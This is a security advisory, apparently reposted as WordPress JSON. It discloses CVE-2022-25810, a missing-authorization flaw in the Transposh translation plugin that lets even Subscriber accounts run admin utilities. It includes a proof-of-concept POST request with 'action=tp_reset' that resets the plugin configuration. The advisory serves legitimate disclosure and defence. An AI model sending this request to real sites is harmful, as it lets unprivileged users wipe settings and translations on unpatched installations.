RCE Security Advisory
\nhttps:\/\/www.rcesecurity.com<\/p>\n
1. ADVISORY INFORMATION
\n=======================
\nProduct: Transposh WordPress Translation
\nVendor URL: https:\/\/wordpress.org\/plugins\/transposh-translation-filter-for-wordpress\/
\nType: Improper Authorization [CWE-285]\nDate found: 2022-02-21
\nDate published: 2022-07-22
\nCVSSv3 Score: 6.3 (CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:L\/I:L\/A:L)
\nCVE: CVE-2022-25810<\/p>\n
2. CREDITS
\n==========
\nThis vulnerability was discovered and researched by Julien Ahrens from
\nRCE Security.<\/p>\n
3. VERSIONS AFFECTED
\n====================
\nTransposh WordPress Translation 1.0.8.1 and below<\/p>\n
4. INTRODUCTION
\n===============
\nTransposh translation filter for WordPress offers a unique approach to blog
\ntranslation. It allows your blog to combine automatic translation with human
\ntranslation aided by your users with an easy to use in-context interface.<\/p>\n
(from the vendor’s homepage)<\/p>\n
5. VULNERABILITY DETAILS
\n========================
\nTransposh does not properly enforce authorization on functionalities available on
\nthe plugin’s “Utilities” page leading to unauthorized access for all user roles,
\nincluding “Subscriber”.<\/p>\n
Some of the affected functionality is:
\ntp_backup – Initiate a new backup
\ntp_reset – Reset the plugin’s configuration
\ntp_cleanup – Delete automated translations
\ntp_dedup – Delete duplicates
\ntp_maint – Fix internal errors
\ntp_translate_all – Trigger an auto-translation of all entries<\/p>\n
6. PROOF OF CONCEPT
\n===================
\nAn exemplary request to reset the plugin’s configuration, send the following
\nrequest using a “Subscriber” account:<\/p>\n
POST \/wp-admin\/admin-ajax.php HTTP\/1.1
\nHost: localhost
\nContent-Length: 15
\nAccept: *\/*
\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8
\nX-Requested-With: XMLHttpRequest
\nUser-Agent: Mozilla\/5.0
\nAccept-Encoding: gzip, deflate
\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
\nCookie: [your cookies]\nConnection: close<\/p>\n
action=tp_reset<\/p>\n
7. SOLUTION
\n===========
\nNone. Remove the plugin to prevent exploitation.<\/p>\n
8. REPORT TIMELINE
\n==================
\n2022-02-21: Discovery of the vulnerability
\n2022-02-21: Contacted the vendor via email
\n2022-02-21: Vendor response
\n2022-02-22: CVE requested from WPScan (CNA)
\n2022-02-23: WPScan assigns CVE-2022-25810
\n2022-05-22: Sent request for status update on the fix
\n2022-05-24: Vendor states that there is no update planned so far
\n2022-07-22: Public disclosure<\/p>\n
9. REFERENCES
\n=============
\nhttps:\/\/github.com\/MrTuxracer\/advisories<\/p>\n","protected":false},"excerpt":{"rendered":"
RCE Security Advisory https:\/\/www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: https:\/\/wordpress.org\/plugins\/transposh-translation-filter-for-wordpress\/ Type: Improper Authorization [CWE-285] Date found: 2022-02-21 Date published: 2022-07-22 CVSSv3 Score: 6.3 (CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:L\/I:L\/A:L) CVE: CVE-2022-25810 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.8.1 and …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28708","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28708","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28708"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28708\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28708"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28708"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28708"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}